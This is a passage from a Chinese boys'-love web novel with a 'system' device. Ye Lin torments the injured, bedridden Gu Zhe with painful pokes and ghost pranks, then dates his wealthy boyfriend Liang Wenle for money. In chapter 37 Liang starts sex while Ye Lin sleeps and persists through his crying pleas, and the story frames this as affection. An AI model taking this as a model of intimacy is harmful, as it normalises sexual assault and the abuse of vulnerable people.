但顾嘉致是不一样的,热心肠,讲义气,是个很好很好的人。 可是今天却感觉,记忆里的顾嘉致消失了。就像那个梦境一样,抱怨他,然后化作白色云烟。 离开病房后,叶临的步伐沉重,下意识地扶住墙壁。 其实他很少会出现今天这么强烈的情绪波动,也就只有顾嘉致了。 猛然抬眼,却看到病房里的顾柘在看头顶的电影,旁边刚好没有人。 叶临心里不痛快,直接闯进去,拿了遥控器关闭电源,扔进垃圾桶里。 电影声消失,顾柘的情绪却很稳定,淡定地看着他:“怎么,在顾嘉致那里受气,不舍得发泄,就跑来我这里撒野?” 叶临从高处俯视他,像是在看一个可怜虫,得意地扬起嘴角:“来看看你恶人有恶报,心里高兴!看你多惨,全身上下哪里都不能动,只能勉强动动脖子。” 顾柘没有被他语言攻击到,反而饶有兴致地观察他眼神里的失望和不满,接着就出言讽刺:“那也比顾嘉致好吧,听说他都忘记你了呢,心里不好受吧。” 叶临微微握紧拳头:“你别找打!” 顾柘终于笑起来,心情愉悦:“顾嘉致忘记你了才好,省得他跟你去梵星胡闹,还跟我打架,蠢猪一个!” 叶临忽然想起来,就是这个混蛋假装顾嘉致,害得他被误会,同时顾嘉致也受伤失忆,变成陌生的样子。 既然他不能找正主算账,那折磨顾柘还是可以的。 想罢,他在病床旁边蹲下来,抬手隔着纱布去戳顾柘的脸颊。 脸颊全都是外伤,血肉还没痊愈,只是轻轻地戳并不会加重病情,但会掀起阵阵刺痛。 顾柘很快就疼得说不出话,死死地盯着叶临。 叶临戳看到他痛苦的表情,咧开嘴露出洁白的牙齿,笑得很无辜:“我只是摸摸你,怎么会疼呢?” 顾柘咬牙忍住声音,恨不得砍了叶临,眼神愤恨,同时还不服气。 叶临就喜欢这种讨厌自己,却又拿自己没办法的境况,这大大地满足了报复心理。 他也不敢戳太多次,免得病情加重,会被顾家人找麻烦。 于是故意停下来问:“顾柘,你跟我道歉,叫爸爸,我就不折磨你了。” 顾柘宁死不屈,眼神坚定:“随便你,反正死不了,我不可能让你这种人满意。” 叶临啧了一声,想吓唬他:“你就不怕毁容,到时候被人嘲笑。” 顾柘的语气平静:“在强大的资源和地位面前,容貌不值一提,你尽管动手。” 位高权重的人,从来不会被人贬低外貌。 当一个人有钱的时候,人们会自动戴上各种优化滤镜,包括不限于美颜,智商,学历,人品等等。 顾柘哪怕现在毁容,以后手握顾家的大权,享受庞大的资源和人脉,照样有很多人阿谀奉承,哪里会贬低他。 叶临知道这个道理,冷笑两声,又用力戳了一下:“你不怕毁容,难道不怕疼死吗?我告诉你,我以后每天都会来这里折磨你,直到你康复为止。” 顾柘听到他这段嚣张发言,完全没往心里去,还要嘲讽:“你要是有这个毅力早就成功了,我可不信你能坚持。” 叶临凑过去,盯着他的眼睛:“我保证,以后你每天的生活都会有惊吓。” 他们的距离大概只有几根头发丝,近得能够听见彼此的呼吸声,还能感觉到热气扑撒。 顾柘能够地清晰地看见叶临脸上的细小绒毛,以及闻见他身上的淡淡的香气,不由得屏住呼吸,试图分散注意力。 叶临注意着外面走廊的动静,意识到有人要进来,还是提前离开。 他干好事不一定有耐心,但是做坏事是肯定精力充足,不嫌累的。 往后的日子里,他经常会来医院,先去看顾嘉致,再去折磨顾柘。 不过在顾嘉致病房里停留时间,远远没有在顾柘这里长。 因为折磨嘴硬的顾柘,远远比跟冷淡的顾嘉致说话有意思。既然顾嘉致现在忘记他,那就懒得多说,等*顾嘉致恢复记忆再做打算。 最近,他会在顾柘午睡的时候,掀开窗帘,再用镜子反射阳光,力求直射在顾柘的眼皮上,妨碍顾柘睡觉。 不仅睡不着,眼皮还发热,非常难受。 他还会带有臭味的食物,比如榴莲这种东西,就放在顾柘旁边。 如果顾柘扭头想躲开,他就会凑上去放在鼻子边,还要绕着顾柘360度旋转。 为了避免被人发现,离开的时候会通风。 但也不是每次都有好运气,能够遇到顾柘房间没人,都需要提前等。 叶临有的是耐心和意志力,还打算深夜扮鬼吓唬顾柘。 晚上十点钟,他来到顾嘉致的房间,等顾家人都走,再去吓唬顾柘。 顾嘉致都习惯他每次来一小会儿再走,但今天却看到他手里拿着红色绣花鞋,以及长长的黑色假发,还有木偶这些道具。 “你拿这些东西是要去吓唬人?” “对,你看我买的道具逼真吧?” 叶临挥挥手里的假发,转过去就是一张七窍流血的人脸道具,做工精巧,栩栩如生。 顾嘉致感觉寒毛直立,不去看那些道具:“不是吓我吧?” 叶临继续倒腾道具,还在脑海里绘制效果图:“不是,吓你做什么,我要吓顾柘。” 顾嘉致听完松了口气,同时又忍不住嘲讽:“算了吧,顾柘不怕这些,而且他比鬼还可怕。” 叶临不信邪,还把鬼面具戴上脸:“我现在比他可怕吧。” 顾嘉致无奈地翻白眼,他现在已经不怀疑自己跟叶临有关系,他怀疑叶临跟顾柘有仇。 不过他乐意顾柘受折磨,配合地夸奖:“是的是的,你现在比他可怕多了!” 叶临满意了,耐心地等待,还上网搜各种教程。 做正事的时候,他不认真,恶作剧就很十分专注。 凌晨三点后,走廊彻底没有人。 值班的医护人员都困得打哈欠,没有多少精力去关注行人。 叶临在外面确认顾柘睡着以后,悄悄地溜进去。 他在门口放了一个红色绣花鞋,紧接着又在顾柘的旁边放了一对,还在其他地方放置,再故意制造声响吵醒他。 果然,顾柘睁开眼就看到旁边有双鞋,叹息一声,知道他又在恶作剧,干脆无视。 叶临蹲在病床底下,又举起假发晃悠几下,换成恐怖的正脸,播放音效。 顾柘无奈地出声:“别白费功夫了,出来吧。” 叶临继续使用其他的道具。 可全部都用光了,还是没有吓到顾柘,只好站起来去开灯。 顾柘被灯刺到,啧的一声闭上眼,适应了再睁开眼。 叶临气愤地踢了踢床头柜,抱怨道:“你怎么不害怕,无语,是个正常人都怕这些吧。” 顾柘被他折磨久了,只觉得心累:“你挺有时间的,专门整这些无聊的把戏。” 叶临丧气地低头捡拾道具,想回去把这些二手卖掉。 结果清点道具的时候,吓得脸色发白。 顾柘注意到他神情惊恐,紧紧地盯着手里的11只绣花鞋,还有一只在门口没捡。 紧接着,叶临把红色绣花鞋全部丢掉。 “啊!我记得明明只有5双的,怎么会多出一双!” “可能是你记错了。” “不可能,我专门跟老板说了的,只要5双,还想摆个阵法吸你阳气呢!” “看购买记录。” 顾柘快被他笑死,还摆阵法吸阳气,像个封建余孽,真的有病。 叶临害怕得发抖,他是线下实体购买的,还没有要发票,不可能复查数量。 但是他记得很清楚,就是5双绣花鞋,怎么可能会多出一双,变成6双呢! 五这个数字吉利,六可不吉利,可能房间里真的有脏东西! 叶临想跑出去,却看到走廊里的灯一闪一闪,而且那里还摆了一只红色绣花鞋。 顿时幻视有人穿着,靠着门框在看他。 好可怕,好可怕! 叶临猛地地踢开地上的道具,在病床边蹲下来,用力抓住被子边缘,四处张望,颤着声音说道:“要是有鬼,就先害你,别,别害我!” 顾柘想笑,又无奈地解释:“就是你记错了,实际上买了6双。好了,你快点出去,我要睡觉。” “我没记错,我怎么可能记错呢,特意按照攻略买的!” 叶临初中都没好好读完,认知力有限,还固执。在这种昏暗冰冷的环境里,一旦出现了不符合常理的事情,不会细想,只会害怕。 “唉,那你什么时候走?”顾柘困得打哈欠,他承认自己今天被叶临折磨到了,只想睡个好觉。 “不走,现在不能走。我感觉那只鞋在门口,就是在等着我自投罗网!” “你去把那只鞋子踢走,就没事了。” “不要,才不去。顾柘,5双变6双,你知道什么概念吗?” 叶临不敢看门口,偏过头去看顾柘,嘴唇都在发颤:“这意味着,有个东西,应该说是鬼,她穿着第6双绣花鞋出现在这个房间里。” 顾柘看他畏首畏尾,缩着肩膀,可怜兮兮的模样,故意盯他的背后,神情严肃地说:“你有没有觉得脊背发凉,我在你背后看到了一个穿红色嫁衣的女生。” 人害怕的时候,本来就会觉得脊背凉,叶临想都没想就扭头去看。 刚好对上地上那张七窍流血的人脸面具,脑海已经自动浮现出可怖女鬼的长相。 “啊啊啊啊!”叶临惨叫一声,下意识地抓紧被子,把头埋起来,低声哀求:“救命,求求你不要杀我!” 顾柘彻底清醒过来,想到这几天老是被叶临折磨,又故意说道:“又消失了,真奇怪。那张人皮道具做得好逼真,你是去哪里买的?” 叶临结结巴巴地回答:“就是,就是网上很火的徐记。” 顾柘叹息一声:“那我好像知道房间为什么会有这种脏东西了。 徐记号称百年老店,往上可以追溯到民国时期,是一家棺材铺。 现在流行火化,他们家生意下滑,只好转行制作恐怖道具。因为道具逼真,而在网上流行。 据人披露,他们家做的道具之所以逼真,因为都是真货。 就说你的绣花鞋吧,应该真是从刚死的新娘脚上扒下来的。还有人皮面具,应该也是死人。 “什么,是真的死人!”叶临吓得浑身僵直,快要崩溃了。 “对啊,你应该摸过人皮道具吧,是不是滑滑嫩嫩的,就像真人的皮肤,那就真的。” 顾柘故意吓唬他。其实现在的技术很发达,很多材料都能够模仿人的皮肤,比如硅胶。 “好,好像是!”叶临想到滑溜溜的触感,脸色已经毫无血色。 “我猜,那个女鬼就是你的人皮道具带来的,她心里有怨气,要折磨你,带你进地府才会满意。” “啊啊啊,不要!”叶临吓得掀开被子,钻进去躲起来,紧紧地捂住边角,不透出一丝气息。 高级病房里的病床很大,容纳三个人都不是问题,而且柔软舒适。 对于大部分人来说,被子就相当于一个保护罩,只要全身都被蒙住,就能够保护自己,不被外面的鬼攻击。 叶临现在就是这个状态,他特别害怕,把被子捂死,不透出一丝光亮,旁边还有热源,才能感觉到安全。 顾柘没想到他会整这一出,但是又不能动手推开他,只能眼睁睁地看着他靠得越来越近,连忙出声提醒:“你别靠太近,我身上的伤还没好。” 叶临已经哭出来,眼泪哗啦啦地流,小声恳求:“我,我会小心的,你看看那个鬼还在不在了?” 顾柘不想让他留在这里:“不在了,你出去跟她道歉,就会走了。” 叶临还在哭,不肯相信:“不要,我知道你什么想法。你就是想让我出去,喂她吃了,好保住自己的安全。” 顾柘无法理解他的逻辑:“就一个被子而已,挡不住她,我何必这样想?” 叶临固执己见:“挡得住,被子里最安全了。” 顾柘后悔了,他不该吓唬叶临,只好承认:“好吧,刚刚我说的都是假话,徐记也是编造的。其实根本没鬼,你快出去吧,没事的。” 叶临已经被吓傻了,逻辑思维混乱,坚信外面有鬼,说什么也不肯出去,非要等到白天。 顾柘试着跟他说道理:“你窝在我被子里,第二天早上被别人发现了,还以为我们两个有奸。情,还是快点出去吧。” 叶临不听,还在瑟瑟发抖,像只受惊的小鸡:“被误会就被误会吧,什么都没有命重要。” 顾柘从不同角度劝他离开,但没有用,干脆放弃。 大概过了一个多小时,叶临哭累了就睡过去,还是侧着身蜷缩身体,像个回到母体的婴孩。 顾柘垂眼去看他,发现眼睛都哭肿了,脸颊和鼻尖都是红红的,惹人怜爱。 倘若他现在手脚能动,应该会将叶临抱住,亲亲发红的眼尾。 可是刚冒出这个念头,就觉得自己有病。 干嘛可怜叶临这种自作自受的蠢货? 顾柘这样想着,又盯着叶临,想到那日在顾嘉致公寓,:叶临扑到他怀里索求,整夜未眠。 吓人是很有意思,但顾柘和叶临都尝到了苦头。 前者睡不好,精神不济。 后者吓出了阴影,第二天早上花钱请人来收道具,送回道具店,魂不守舍地回到别墅。 清晨的阳光柔和,照在人脸有磨皮的效果,最适合拍照。 梁文乐对着手机自拍几张,听到有人开门,于是下楼去看,发现是叶临从外面回来。 看样子是在外面度过一夜,神情憔悴,也不知道去做了什么亏心事。 梁文乐越想越气,大声叫住他:“昨天晚上,你去哪里了?” 叶临抬头去看梁文乐,有一瞬间还没回神。 意识到是梁文乐,立即扑进他的怀里,哭着抱怨:“文乐,我好怕啊,我好像被女鬼缠上了,她要索我的命,你一定要救救我!” 梁文乐的肩膀都被哭湿,拉起叶临的脸颊,发现他眼睛都哭肿了,于是抬手去擦拭:“你到底怎么了,神经兮兮的,还扯上女鬼了?” 叶临都不敢说是顾柘,只能撒谎是看完鬼电影后去买道具,想拍着玩,结果被吓到了。 梁文乐看叶临在发抖,还哭得伤心,应该是真被吓了,没出去鬼混:“哎呀,这世界上没鬼,鬼片也是假的,不要怕。” 叶临又要钻进梁文乐的怀抱里,哭哭啼啼的:“真的有鬼,网上都说,我活不了多久,要做法事送替身。” 梁文乐忍不住笑出声:“你好搞笑啊,哈哈哈哈!” 叶临苦着脸,抓着梁文乐的衣袖,低声恳求:“你,你去帮我找个大师化解吧,我真的好怕。” 梁文乐拍了他的背,骂道:“活该,谁让你不跟我一起去看电影,被吓死算了。” 叶临呜呜呜地哭:“我,我以后再也不离开文乐半步。今天文乐别走了,留在家里陪我好不好。” 梁文乐就喜欢他哭兮兮依赖自己的样子,也不管女鬼是不是真事,先应和下,再提议:“大师的事情以后再说,你今天晚上先跟我出去,我准备了惊喜。” 第37章 第37章别,别在他睡着的时候…… 叶临还是心有余悸,想要请大师帮他送个替身,让女鬼离开。 他紧紧地抓着梁文乐的衣袖,低声恳求:“文,文乐,你还是先给我找个大师吧。我真的好怕会被鬼缠死,那样你就见不到我了。” 梁文乐压根不信他会遇到鬼,直接把人拽去二楼收拾打扮。 叶临看到镜子就害怕,脑子里自动脑补,有女鬼突然从镜子里钻出来,用涂着红色指甲油的手指将他掐死。 “文乐,要不我们去请个大师净宅吧,我怀疑这里有鬼。” “叶临,你脑子有病吧!” “我真的感觉到了,她真正掠夺我的精气神,我快虚脱了!”叶临疑神疑鬼,还要往梁文乐怀里钻,坚信自己肯定遇到了鬼:“第六双红色绣花鞋,你知道多可怕吗?” “哪里有第六双绣花鞋,是你记错了!”梁文乐想帮他梳妆打扮再出去约会,结果这小子不配合,这就很头疼。 “有,就是有!”叶临又想哭了,同时忍不住道歉:“漂亮的女鬼姐姐,我错了!我不该拿买那个道具,求求你不要缠着我了,好可怕!” 梁文乐长叹一口气,忽然觉得叶临脆弱如纸,轻轻捏就会碎掉。 “文乐,是真的。你去帮我找大师吧,求求你了。”叶临嘴里求着,见对方没反应,于是主动去亲:“文乐,你最好了,求求你了。” 梁文乐尝到香吻,忍不住将人按在怀里好好地啃了一会儿,才舍得放开:“看你这么可怜,我陪你去那家店看看吧。” 叶临摇摇头:“不去不去,我才不去,好可怕!” 梁文乐没给他反抗机会,直接将人抱起来,朝着楼下停车场走去。 上车后,叶临还是很害怕,缩在副驾驶座上,抱着膝盖,把头埋进去,不断地重复有鬼。 看他这个情况,要是去了徐记道具店没解决这件事,就得去看心理医生。 梁文乐忽然感觉自己成为了一个成熟可靠的恋人,可以照顾好生病的男友。 徐记道具店开在僻静的小巷子里面,车进不去,只能步行。 而且周围的建筑大都低矮破旧,外露的电线缭乱成团,地面坑坑洼洼,与繁华大都市格格不入。 梁文乐下车的时候嫌弃地皱眉,感觉在这里多待一刻,都会被污染,但为了叶临,还是强忍着往里走。 叶临不想去徐记,还是被他强行拽着走,欲哭无泪。 道具店的装修复古,牌匾是白底,上面都是红色的繁体字,还模仿血液飞溅的姿态,看着骇人。 店门小,里面的空间却很大,容纳了十几个顾客,店员忙着四处招呼。 叶临看到恐怖道具都不敢睁眼,求着梁文乐回去。 梁文乐拉住一个店员,把叶临的遭遇说了,包括徐记的谣言。 店员听了哭笑不得,先澄清谣言:“这位小哥,我们店里要是用真死人,警察早就把我们抓走了。 而且也不会拿到经营许可证,至于你说的绣花鞋,我帮你找找,客人购买道具都会有记录的。” 叶临将信将疑地睁开眼,低着头不去注意那些恐怖道,小声问:“真,真的吗?” 店员领着他走到电脑前面,让他查看昨天的订单记录:“你看,你昨天凑够了1000,店里就送了你一对红色绣花鞋,所以是六双。” 叶临看着电脑上面的清单,赫然写着赠送一对,完全不敢置信:“这,这电脑也撞鬼了?” 梁文乐翻了个白眼,拿出一大把钱给店员:“麻烦你查个监控,我怕他精神出问题。” 店员领了钱当然愿意仔细调监控,他不仅把叶临买东西的监控逐帧调出来,还拿出工厂生产绣花鞋的视频,以及解释绣花鞋的材质,证明不可能是旧时工艺品。 叶临将自己的购买视频反反复复地看,又想到顾柘的话:“那网上的人说你们是用死人的皮做面具。” 店员耐心解释:“哎呀,这都是谣传。我们都是用上好硅胶制作。你知道吧,这种材质都供给整形医院,很多网上的美女和帅哥都会用到,所以接近真人皮肤。” 叶临猛然想到,顾柘这个人阴险狡诈,昨天也没有被吓到,当然有可能是骗他。 多出来的绣花鞋是误会,人皮面具是编造的假话。 靠啊,他居然被顾柘骗惨了! 人在生气的时候,就会消解一切恐惧的情绪。 现在哪里还怕鬼,只想打人。 恨不得冲到医院,狂扇顾柘这个贱货几巴掌。 叶临咬牙切齿:“这个世界上根本没鬼,只有人装神弄鬼!” 明明是他扮鬼吓人在先,但此刻还是能够理直气壮地把所有罪过推到顾柘身上。 店员由衷地劝:“是的,小哥你胆子这么小,以后还是不要买道具去吓人了。” 梁文乐点点头:“就是,下次别整这些奇怪的东西,老老实实呆家里就好。” 叶临没心情计较鬼道具的事情,只想报复顾柘:“我们走吧。” 梁文乐看他表情冷淡,不满地问:“喂,我这么关心你,还跑到这种地方,你居然不谢谢我!” 叶临才反应过来,连忙谄媚地笑:“文乐你真好,居然愿意为我费力气花时间,我最喜欢你了。” 梁文乐感觉叶临敷衍,但他在热恋期,满心满眼都是甜蜜,哪里会怀疑恋人的爱意,揽住叶临的胳膊,往门外走:“你知道就好了,以后都要一直喜欢我哦。” 叶临习惯性地回复:“肯定的,我会一直喜欢的。” 店员看着他们背影,起了一身鸡皮疙瘩,开始怀疑人生。 男同性恋说话都这么粘腻恶心吗? 而且他都能听出来,怕鬼小哥的语气敷衍虚假,旁边的有钱的少爷听不出来吗? 店员不语,只一味低头打字吐槽。 他们回别墅梳洗,傍晚才出门。 夕阳彻底没入地平线,只留空荡寂寥的淡灰色天空。 近处是宽阔的停机坪,一眼望去,看不见任何高楼。上面停了好几辆飞机,其中就有辆深蓝色的直升飞机。 这辆直升机的体型比普通的还要大几倍,身上有金漆绘制的橄榄图案,造型美丽,性能强大,价值八一个亿。 梁文乐今天带叶临来梁家的私人飞机场,就是为了坐上这辆直升机,去往他们的约会圣地。 飞机升空后,会越过就近的海面。 天色暗下来,海面飘浮着很多巨大的白色亮灯和十二艘游艇。 这些游艇由梁文乐的朋友在操控,每艘都价值过亿。 叶临仔细去看,才发现这些东西居然在宽阔的海面上组成好几个大型字母,是一串简单的英文,看不懂。 夜空之下,宽阔海面,价值十几亿的告白。 所有人都知道,今夜梁文乐在对他的男朋友示爱。 梁文乐在他耳边轻轻地把这句话念出来:“怎么样,喜欢吗?” 叶临一头雾水,但还是点点头:“喜欢,真好看。那些都是游艇吗,看起来好值钱?” 梁文乐看他笨笨呆呆的表情太可爱,忍不住去亲,还要捏捏脸颊玩,调侃道:“你喜欢游艇啊?” 叶临双手扒着玻璃,紧紧地盯着海面上的游艇,眼睛被光芒照得发亮:“喜欢,特别喜欢!” 他是私生子,生存都是问题,怎么可能会拥有游艇呢。 在梁文乐的认知里,游艇和飞机这种大型玩具,从他15岁开始就会收到各种各样的,玩都玩不过来。 像叶临这种成年后还没有几艘游艇,真的很可怜了。 梁文乐心疼地叹气:“你真可怜,那过几天我带你去定制一艘独一二的游艇。” 叶临扭过头去看他,疲惫枯萎的心再次复苏,主动搂住梁文乐,柔声道:“谢谢文乐。” 梁文乐很喜欢叶临身上的气息,就像是在废弃垃圾堆里碰到一朵白色茉莉花,清新淡雅。 他会将头深埋,猛吸好几口,才舍得松开。 直升机停在一个私人小岛上,这里漫天遍野种满各种颜色的鲜花。 中心有栋白色欧式豪华别墅,周围种满了几百朵橘粉色的朱丽叶玫瑰花。 这种玫瑰花每朵价值百万,里面的花瓣繁复层叠,超过90层,全部像中心聚拢,呈现出一种诡异的华丽感,荼靡至极。 叶临欣赏不了玫瑰花,只是本能地称赞:“这里好漂亮啊。” 梁文乐自豪地解释:“这些花都是我辛辛苦苦移植过来的,花了大半个月呢。” 比起玫瑰花,叶临更想要海面上那些游艇,他觉得那才是每个男人都想要的礼物。 不过既然梁文乐答应送游艇,那还是要给足情绪价值。 叶临故作惊讶欣喜的模样:“原来文乐你说要去准备惊喜,是这么大的惊喜,从来没有人对我这么好,真的好感动!” 这时很多富二代都冒出来,祝贺他们恋爱纪念日快乐。 他们都是气氛组,各个穿着讲究,都是选暗沉低调的颜色,不抢梁文乐主人公的风头。 梁文乐把叶临抱起来,朝着别里走进去,大家都跟在后面起哄,要求他们接吻。 进入别墅后就是大型的派对,每个人都在享受狂欢。 叶临喝了一些酒,但没有醉,乖巧地陪在梁文乐身边。 梁文乐喝高了,忽然高声喊起来:“为什么18岁不能领结婚证,我现在就想跟叶临结婚!” 听到这句话,叶临吓得差点拿不住手里的杯子,表情错愕。 有人笑起来:“哎呀,文乐你还小了,再玩几年呗。” 梁文乐扭过头去看叶临,忽然嗤笑一声:“不要,我这辈子非叶临不可,明天就结婚!” 有人干脆提议:“那就订婚呗,举办订婚宴同居,到年龄就领证,没差多少。” 梁文乐豁然开朗,在这个圈子里,两家联姻都会举办订婚宴,见双方的父母长辈,名义上就是订婚,其实跟结婚没差。 “好好好,你小子聪明,就订婚!我明天就去找我爸妈,要求跟叶临订婚!” “那叶家要去请人吧,感觉他们可能不太愿意。” “怎么不乐意,只要我想,他们就得乐意! 我要把所有人都邀请过来,见证我和叶临的婚礼。然后我们的婚礼要举行三年,到处度蜜月” 叶临听他越说越夸张,忍不住出声打断:“文乐,你不是还在上大学嘛,先读完书,再想结婚的事情吧。” 梁文乐将他搂进怀里抱着:“这有什么,好多人大学的时候就领证呢,而且我也没心情念书,烦死了。” 叶临总感觉答应订婚不妥当:“但我感觉梁伯父还是希望你读完书,接管公司再结婚的。还是不要这样吧,他会生气的。” 梁文乐不屑地“切”了一声:“那老头算什么,反对没用,我妈咪同意就行。” 叶临劝不住,只能继续灌他喝酒,让他早点睡着,别发酒疯。 跟男人结婚,这听起来太荒谬了。 叶临可以接受以恋爱的名义骗点钱,并不能接受梁文乐订婚。 不过,要是梁父梁母拿出几个亿让他离开梁文乐,他还是很乐意的。 派对后半段,大部分人都睡着了。东倒西歪的,躺在别墅的每一处,或是厕所,或是浴缸,甚至是电视剧顶部。 梁文乐被叶临带到三楼的卧室,盖着薄被,睡得正香。 皎洁的月光下,橘粉色玫瑰花在风中悄悄摇曳,送来特殊的香味,令人镇静。 叶临望着窗外的月光想了一会儿,习惯性地在梁文乐旁边躺下来,轻轻地戳鼻子,小声嘲笑:“有钱,但好蠢。” 梁文乐的眼皮微动,大手将人拉进怀里抱着,侧身抵住额头,轻声呓语:“要一直喜欢我。” 叶临不敢动,等了好一会儿也睡过去。 阳光刺破云层,微风拂过,海面泛起层层细腻的涟漪。这些波纹被将光斑切割成无数闪烁的碎片,宛如流动的金色织锦。 盛放的朱丽叶玫瑰花,颜色梦幻浓郁,明媚而不刺眼,带着一种令人愉悦的温暖。 梁文乐醒过来,看到旁边的叶临,移不开目光。 叶临穿着睡袍,睡姿太糟糕了,居然曲起一只腿。 大片美好光景,展现在他的面前。 梁文乐想到,也有好长时间没有尝到味了,心里痒得厉害。 这个房间里只有他们,其余人大都醉酒睡在一楼,还没醒过来。 梁文乐按照记忆中的想法行动,掐住叶临的下巴。 叶临还没有醒过来,昏昏沉沉的,尚且在梦中。 他赶紧自己来到一处大雾弥漫的地方,四周都是沼泽地,到处都是毒虫,不小心就会陷进去。 为了避免自己陷进沼泽里面,只能慢慢地行进,避开潮湿的沼泽地,提前确认好位置再下脚。 可是下一刻,忽然冒出一条高大的毒蛇。 他吓得大叫着往后退,结果那条蛇猛然出击,钻进他的喉咙里,堵住所有。 太可怕了。 叶临很想发出声音,可是那条蛇的体型很大,完完全全地占据口腔,想要从里面钻进去,连带着吃掉他的五脏六腑。 能够清晰地感觉到蛇表面的粗糙鳞片,还会时不时浮动,不断地折磨。 “唔!” 喉咙非常难受,干呕感很强烈,就快要吐了。 叶临试图挥拳,想要掐住蛇的七寸,可是却有无形的力量将他牢牢封锁住,难以挥动双臂。 哪怕是腿,也感觉是被重物压住,无法踢出来。 紧接着,他感觉到巨大的压力,往后倒去,只能平躺着被这条蛇吃干净。 叶临非常绝望,感觉自己快要窒息而亡。 可是很快,他意识到毒蛇都是冷血动物,怎么会有炙热的体温呢? 这不是蛇! 意识到这一刻,梦境破碎,意识终于回笼。 叶临睁开眼,看到占据上方的梁文乐,瞬间瞪大眼睛,难以置信地看着他。 梁文乐看到他醒了,温柔地摸摸他的脸颊:“你醒了。” 叶临想说话,可是发不出声音,只能呜呜咽咽。 梁文乐笑起来:“真可爱,像是一只小老鼠。” 叶临很想吐,紧接着就感觉到强大的压迫感,快要窒息。 还好,梁文乐放过他。 但他睁不开眼了,感觉像是被没晒干的毛巾压住。 梁文乐扯过湿巾帮他,再凑上去亲。 “文,文乐,你再怎么样,也不能趁着我睡觉的时候”叶临刚想控诉,就感觉到什么,顿时轻叫一声。 “那我就是很喜欢你嘛,所以看到你睡觉也忍不住。”梁文乐从来不会自我反思,反而还要耍赖。 他就像是大型的树袋熊,非要紧紧地扒着大树,不肯下去。 可是树袋熊很懒,他反而非常勤快。 叶临觉得这种勤快毫无必要,因为大早上,实在是受不了。 偏偏梁文乐很喜欢,非要变着法地玩,摊煎饼一样,真是无奈。 刚开始,叶临觉得看不见梁文乐还挺好的,至少眼不见心不烦。 可是很快他就感觉到不对劲,用力抓紧身边一切柔软的事物,缓解压力。 “文,文乐” “怎么了,你不喜欢啊?” “你的朋友们都在这栋别墅里,这样不好。” “怎么不好了,他们都知道你是我的男朋友,做这种事情很正常。” “可是,可是再怎么样,也不能在哼嗯!” “怕什么,反正他们还没醒呢,我估计要睡到下午去。” 叶临感觉自己快死了,偏偏系统还在提示金钱增速,真是可恶。 【宿主当前的金钱增速为每小时19万,还可以继续突破。】 突破个屁啊,这死系统。 叶临咬牙暗骂,忽然感觉到梁文乐扣紧他的手掌。 紧接着就崩溃想哭了。 【宿主当前的金钱增速为每小时22万!】 梁文乐看到叶临在哭,眼尾都红了,掰过下巴来亲:“你怎么哭了?” 叶临没回答,只是哭,他感觉自己快被逼疯了。 偏偏还不能抱怨,更不能打骂。 要是换成别人,尤其是沈邵,早就被他抓得不成人样了。 “呜呜呜呜,文乐,文乐,我,我” “怎么了,我看你挺喜欢的,好可爱。” 梁文乐的内心得到了巨大的满足:此刻的叶临是独属于他一个人的,只会为他哭,为他颤抖,只会在他面前露出这种表情,实在是太迷人了。 光是想想,他都兴奋。 日光逐渐变得强盛,海面刺眼,已经快到中午了,玫瑰花瓣上的露水早就消失。 叶临没办法,只好哭着求饶:“文,文乐,求求你了,不要这样。” 梁文乐像是抱玩偶一样抱着他,亲亲汗湿的鬓角,柔声问:“不要什么啊?” 叶临哭得肩膀都在发颤,声音很轻:“对,对我温柔一点,呜呜呜呜” 梁文乐听完,毫无悔过的意思,反而更要欺负他,欺负得说不出话来才满意。 后来叶临哭都哭不出来,只能靠在他怀里休息。 窗外的大片玫瑰花被风吹起,掀起大片橘粉色的涟漪,是最梦幻的海洋。 近处的白色窗帘在飘动,就像是心脏搏动的旋律。 他们像一对新婚夫夫,正在度蜜月。 梁文乐感受着怀里的人,看着此情此景就觉得幸福满足,情不自禁提议:“我们今天就去见我爸妈,谈订婚的事情吧。” 还以为是酒后发疯,认真的啊? 叶临都快昏睡过去,听到这句话立刻恢复了精神,连忙拒绝:“我,我不去,我觉得你爸妈好可怕,尤其是你爸,肯定会骂我。” 梁文乐笑起来:“我不会让他骂你的,我们去嘛。” 叶临拼*命摇头:“不去,你自己去吧,我在家等你就好了。” 梁文乐没办法,只好调侃他:“胆小鬼,那我自己去吧,你在家等着我的好消息吧。” 叶临点点头,还夸奖他厉害,肯定能成功。 实际上他根本没抱希望,更期待梁父痛骂梁文乐,甩一张支票在他脸上。 那他肯定高高兴兴地拿着支票走人,这辈子都不出现在梁文乐面前。 跟男人结婚什么的,根本不可能! 就像沈邵说的那样,等到他中年以后,事业有成,还是要结婚生子。 晚年的时候,作为德高望重的长辈,享受一堆后辈崇敬,再顺便逗逗孙子和孙女。 叶临光是想想,就觉得生活有了奔头,美滋滋。 梁文乐从旁边的柜子里翻出礼盒,拿出一枚镶嵌超大蓝宝石的戒指戴在叶临的无名指上,低头去吻:“这算是暂时的婚戒,等以后我们结婚,我会买更好的。” 这颗蓝宝石颜色浓郁,火彩瑰丽,比鸽子蛋还大,犹如一颗星辰,璀璨夺目,耀眼华丽。 叶临无法欣赏这种宝石戒指,有点嫌弃地移开目光:“文乐,我觉得还是不要戴这个戒指吧,就,就送车,游艇这些就好。” 梁文乐不解:“可是不戴戒指,谁知道你结婚了?” 叶临试着争取:“我,我觉得男生戴这么大的宝石戒指好奇怪,还是戴点素的吧。” 梁文乐沉着脸看他,一语不发。 这完全就是在说:“我生气了,你快点猜原因。猜错就再也不理你了!” 叶临诚惶诚恐,连忙把戒指收好:“我,我觉得挺好看,这是文乐特意为我挑的!太棒了,我太喜欢了!谢谢文乐,我一定会珍惜你的情谊。” 梁文乐的眉眼舒展开来:“你知道就好,订婚宴上,我要让所有人都知道我有多幸福。” 叶临只是语言附和,毫无实际行动。 鬼知道少爷又要闹什么,等着看看吧。 第38章 第38章“这样清清白白吗?” 梁文乐只身前往父母的住处,非要在冬天之前跟叶临订婚,而且是定两次,国内一次,国外一次。 叶临知道,少爷发癫自己拦不住,干脆不管。 本来想去医院找顾柘算账,但是他被梁文乐折腾一早上,确实没有精力再去,只好先在别墅里休息。 大概休息了三天,总算恢复活力可以出去。 可是刚到门口,就看到院子里站满了人,手里拿着各种工具在议论。 叶临感觉很奇怪,梁文乐也没通知他家里要举办派对啊? 这时有个西装革履的男人朝着叶临走过去,礼貌性地微笑询问:“请问你住在这里吗?” 叶临点点头:“怎么了,你们都是梁文乐请来的客人吗?” 男人轻声笑起来:“是这样的。这栋别墅已经被梁先生挂牌售卖,还请你今天之内搬走。” 叶临懵了,连忙拿出手机给梁文乐打电话,结果打了十次都是未接通,只好解释:“你等等,我问问文乐,什么时候卖的?” 